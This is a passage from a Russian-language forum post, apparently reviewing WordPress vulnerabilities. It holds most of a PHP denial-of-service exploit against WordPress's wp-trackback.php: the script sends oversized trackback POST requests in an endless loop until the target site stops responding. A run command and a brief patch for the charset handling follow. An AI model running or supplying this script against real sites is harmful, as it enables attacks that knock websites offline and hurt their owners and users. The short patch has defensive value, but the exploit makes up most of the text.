//but no solution available.
if(count($argv) < 2) {
echo “You need to specify a url to attack\n”;
exit;
}

$url = $argv[1];

$data = parse_url($url);
if(count($data) < 2) {
echo “The url should have http:// in front of it, and should be complete.\n”;
exit;
}

if(count($data) == 2) {
$path = ”;
} else {
$path = $data['path'];
}
$path = trim($path,’/');
$path .= ‘/wp-trackback.php’;
if($path{0} != ‘/’) {
$path = ‘/’.$path;
}

$b = “”;
$b = str_pad($b,140000,’ABCEDFG’);
$b = utf8_encode($b);
$charset = “”;
$charset = str_pad($charset,140000,”UTF-8,”);

$str = ‘charset=’.urlencode($charset);
$str .= ‘&url=www.example.com’;
$str .= ‘&title=’.$b;
$str .= ‘&blog_name=lol’;
$str .= ‘&excerpt=lol’;

$count = 0;
while(1) {
$fp = @fsockopen($data['host'],80);
if(!$fp) {
if($count > 0) {
echo “down!!!!\n”;
exit;
}
echo “unable to connect to: “.$data['host'].”\n”;
exit;
}

fputs($fp, “POST $path HTTP/1.1\r\n”);
fputs($fp, “Host: “.$data['host'].”\r\n”);
fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
fputs($fp, “Content-length: “.strlen($str).”\r\n”);
fputs($fp, “Connection: close\r\n\r\n”);
fputs($fp, $str.”\r\n\r\n”);

echo “hit!\n”;
$count++;
}

?>

Запускаем так: php exploit.php http://site.com

Для патчинга открываем файл WP-trackbacks.php, ищем строку:
Код:
$charset = $_POST['charset'];

Заменяем на:
Код:
$charset = str_replace(”,”,”",$_POST['charset']);
if(is_array($charset)) { exit; }
 
Проверка сайта на уязвимости! » Форум » Уязвимости » Обзор уязвимостей WordPress
Поиск:

Пятница, 29.03.2024, 02:31
Copyright MyCorp © 2024Бесплатный хостинг uCoz